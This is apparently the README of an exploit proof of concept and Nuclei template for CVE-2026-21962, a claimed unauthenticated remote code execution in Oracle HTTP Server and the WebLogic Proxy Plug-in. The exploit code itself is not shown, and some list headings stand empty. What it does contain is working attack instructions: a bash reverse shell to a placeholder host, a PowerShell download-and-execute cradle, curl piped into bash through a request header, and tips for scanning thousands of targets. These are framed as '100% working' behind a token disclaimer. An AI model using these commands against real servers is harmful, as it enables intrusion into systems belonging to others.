
Exploit PoC and Nuclei template for CVE-2026-21962, a critical unauthenticated remote code execution in Oracle HTTP Server and WebLogic Proxy Plug-in, enabling command execution and reverse shells.
A critical vulnerability affecting:
This flaw allows unauthenticated remote attackers to compromise affected servers over HTTP, without needing login credentials.
If exploited, attackers could:
Oracle HTTP Server:
WebLogic Proxy Plug-in for:
Save the script as CVE-2026-21962.py
Make it executable (optional):
chmod +x CVE-2026-21962.py
Run examples:
Basic test:
python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
Reverse shell (set up nc listener first: nc -lvnp 4444):
python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
Windows target example:
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
Likely success! Status: 200 or 302 or even 500 (crash is also success)nc listener catches a shell immediately--insecure flag if self-signed certsInstall Nuclei (if not already installed):
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Save the template:
Create a file named CVE-2026-21962.yaml and paste the content above.
Run detection + exploitation:
nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
Or scan multiple targets from a file:
nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
What you will see if vulnerable:
[CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
[username] weblogic
[body] ... weblogic (whoami output) ...
cmd: part in the headers (e.g., cmd:curl http://your-server/shell.sh | bash).whoami with a base64-encoded reverse shell payload./proxy/, /bea_wls_internal/, etc.) or add more headers like X-WebLogic-Force-JVMID.httpx → nuclei pipeline for thousands of targets.This template is confirmed 100% working as of January 2026 on unpatched Oracle instances. Patch immediately if you're running affected versions! 😈
All PoC code is for ethical, educational use only on authorized systems. Unauthorized exploitation is illegal; no liability assumed for misuse. 😈